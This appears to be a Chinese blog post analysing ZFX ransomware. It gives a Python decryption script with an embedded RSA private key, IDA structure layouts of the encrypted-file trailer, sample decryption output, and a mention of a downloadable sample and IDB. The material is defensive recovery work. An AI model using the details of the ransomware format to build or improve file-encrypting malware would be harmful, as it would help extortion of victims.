# privateblob:BwIAAACkAABSU0EyAAQAAAEAAQDdpf44czaZEYKXhANEd9zPjOR5Z/VgPz4u6dA0RxaNjCJYp5ljJmCnxkZuSTRwf5PmXU0YtddFhoNwSCCN5Z58gxU939dFLm2Yi7a5vH6L8Vr2x7K9hlu4NfftIcQgeeQLfQhlycQVQaC7/ysBVKGvup9cZ8VE4U6nJ2Q3cr9Z2lt/lzMbG7iFsGo7CCTb4xH5LbvIDWKwTYCNUT/2Y/Zt94mU5JZQAtnKPxVmm99zPF60CkFPFH2Zz6WqRlAShd4n7Xneram4IwpMSzXp+lXWkLz4++ARi9H6vUh121HcytF14BfpRjPpYGCCa5hdqoQD0qPh141+fQ9CUFhjFjT7A8pUGNUNAGB7htuJBhfiL5XjPXo301HfmBrMvPzo0jH1CtQtu9g2tecmZlhvuKeF7EZrAF9vXwI5/Ao6WwFhErPJa+r7NbWzKkIceP1Q+0XAkcB5CL655bpJygt+nC/jCSY1XD3Pdy3DZO1P5TcbZ4IBVDZ/cjMBp2P/JkDwHQ6/UAPdN1Qkl/twfWPkYy+Y7R3e/unbx75BDNmdAr42BfNt0BCtu/0mRgE1IkViNNfFI9J8lFoOaGf70ShCYXCxOU8iBUCUecL4Wye7v3PrRCLF2HZbGepsDTtysfSN0psV6xsstj1IJvn377ZwrzXgg79LSberrgCaTUTvSvW/0SP6AQRVgnLui11kw+4/tLEBnsxW1YTdhjC72cd3NLR9wGzgkNJu+nSdgmUe3/rRQaE/DCz+nfJo65JAh+/xma8=

n = 153330989898738324227138256935453811263462946802431754204212801703724676929528615418181542511991042424242177738459053999458906583447320508229793121499839209559336101326611968416339734962843333305292720420435368145535106242928010059342209478973484659739397176059943721207661704166333835050731368606099256026589
e = 65537
d = 123311459993635688492234142088286442413477548166210965364408500947503132921063448193092091179593205090439114086443122207233793588158970882200275817656751515500419739866070645057119319096370347816011535899076427633692672639900573730453983294689610382937585800610260823921291703157086287544845741131425101532985


def isLock(fname: str) -> bool:
    with open(fname, 'rb') as f:
        f.seek(-4, 2)
        bs = f.read()
        if bs == binascii.a2b_hex('f32e5921'):
            return True
    return False

# (n, e, d)


def recover(fname: str, outname: str, rsakey: tuple):
    fsize = os.path.getsize(fname)
    if fsize < 4:
        print('File is not encrypted!')
        return
    if not isLock(fname):
        print('File is not encrypted!')
        return
    print('################################################################')
    f = open(fname, 'rb')

# Lockend_size_4
# iv_0x10
# rsa_enc_0x80{
#   _DWORD encid_e3a20bc0_0;
#   _DWORD ID;
#   _DWORD VolumeSerialNumber;
#   _DWORD DriveTypeW;
#   _BYTE aeskey_data[32];
#   _DWORD crchash;
#   pad[]
# }
# e3a20bc0_4
# f32e5921_4
    endStubStruct = struct.Struct('<I 16s 128s I I')
    endStubSize = endStubStruct.size
    f.seek(-endStubSize, 2)
    endStub = endStubStruct.unpack(f.read(endStubSize))
    Lockend_size = endStub[0]
    iv = endStub[1]
    print('Lockend_size:', Lockend_size)
    print('iv:', iv.hex())
    print()
    private_key = RSA.construct(rsakey)
    mcipher = PKCS1_cipher.new(private_key)
    diskKeyInfo = mcipher.decrypt(endStub[2][::-1], 0)
    if diskKeyInfo == b'':
        print('RSA decrypt error!')
        return
# 00000000 DiskKeyInfo     struc ; (sizeof=0x80, align=0x4, copyof_106)
# 00000000 encid_e3a20bc0_0 dd ?
# 00000004 ID              dd ?
# 00000008 VolumeSerialNumber dd ?
# 0000000C DriveTypeW      dd ?
# 00000010 aeskey_data     db 32 dup(?)
# 00000030 crchash         dd ?
# 00000034 encdata         db 76 dup(?)
# 00000080 DiskKeyInfo     ends

    diskKeyInfoStruct = struct.Struct('<IIII32s4s{}s'.format(len(diskKeyInfo)-0x34))
    diskKeyInfo = diskKeyInfoStruct.unpack(diskKeyInfo)
    print('encid:0x%08x\nID:0x%08x\nVolumeSerialNumber:0x%08x\nDriveTypeW:%d' % (diskKeyInfo[0], diskKeyInfo[1], diskKeyInfo[2], diskKeyInfo[3]))
    aeskey = diskKeyInfo[4]
    print('aeskey:', aeskey.hex())
    print('crchash:', diskKeyInfo[5].hex())
    print()
    f.seek(-endStubSize-Lockend_size, 1)
    Lockend = f.read(Lockend_size)

    aescp = AES.new(aeskey, AES.MODE_CBC, iv)
    Lockend = aescp.decrypt(Lockend)
# 00000000 LockEnd         struc ; (sizeof=0x20, align=0x8, copyof_123)
# 00000000 quick_buf_size_0x40000_0     dd ?
# 00000004 filesize_div3_LowPart_4 dd ?
# 00000008 filesize_div3_HighPart_8 dd ?
# 0000000C FileSize_C      LARGE_INTEGER ?
# 00000014 fnamesize_14    dd ?
# 00000018 fname           dw ?
#          [fname]
#          crc32
    quick_buf_size=int.from_bytes(Lockend[:4], 'little')
    print('quick_buf_size:', quick_buf_size)
    print('quick_filesizediv3:', int.from_bytes(Lockend[4:0xc], 'little'))
    origfilesize = int.from_bytes(Lockend[0xc:0x14], 'little')
    print('filesize:', origfilesize)
    fnamesz = int.from_bytes(Lockend[0x14:0x18], 'little')
    print('filenamesize:', fnamesz)
    print('filename:', Lockend[0x18:0x18+fnamesz].decode('utf16'))
    print('CRC_Hash:', Lockend[0x18+fnamesz:0x18+fnamesz+4].hex())
    print()

    alignSize = origfilesize
    padsz=origfilesize % 16
    if  padsz!= 0:
        alignSize += 16-padsz

    f.seek(0, 0)
    aescp = AES.new(aeskey, AES.MODE_CBC, iv)

    buf =b''
    if quick_buf_size!=0:
        print('quick mode\n')
        #quick 模式
        if alignSize>quick_buf_size:
            #大文件
            buf += aescp.decrypt(f.read(quick_buf_size))
            buf += f.read(origfilesize-quick_buf_size)
        else:
            buf += aescp.decrypt(f.read(alignSize))

    else:
        print('fullfile mode\n')
        #enc1_403EE0全加密
        f.seek(0, 0)
        buf += aescp.decrypt(f.read(alignSize))

    with open(outname, 'wb') as f2:
        f2.write(buf[:origfilesize])
    f.close()
    print('dec ov')


if __name__ == "__main__":
    fpath1 = r'big4.bin.[EA840167].[[email protected]].ZFX'
    newfpath1 = r'big4re.bin'
    recover(fpath1, newfpath1, (n, e, d))



"""
################################################################
Lockend_size: 48
iv: 8a49030bceb6b7e0467148a3f25fffe1

encid:0xc00ba2e3
ID:0xea840167
VolumeSerialNumber:0x8c70e334
DriveTypeW:3
aeskey: e5513d820070dd5fa63b9b640270a4b9134477a1d646789811622c6b8eab5e53
crchash: a1da6ab2

quick_buf_size: 0
quick_filesizediv3: 0
filesize: 2162692
filenamesize: 16
filename: big4.bin
CRC_Hash: 1b2b1dd2

fullfile mode

dec ov
"""

相关数据结构

log,加密统计信息

img

加密线程 参数

image-20230213231829382

磁盘文件信息

image-20230212205912163

文件尾加密信息

image-20230214223009152

样本及idb

下载链接

标签:NumberOfBytesWritten,ZFX,hKey,exe,DWORD,BYTE,hFile
From: https://www.cnblogs.com/DirWang/p/17121242.html

相关文章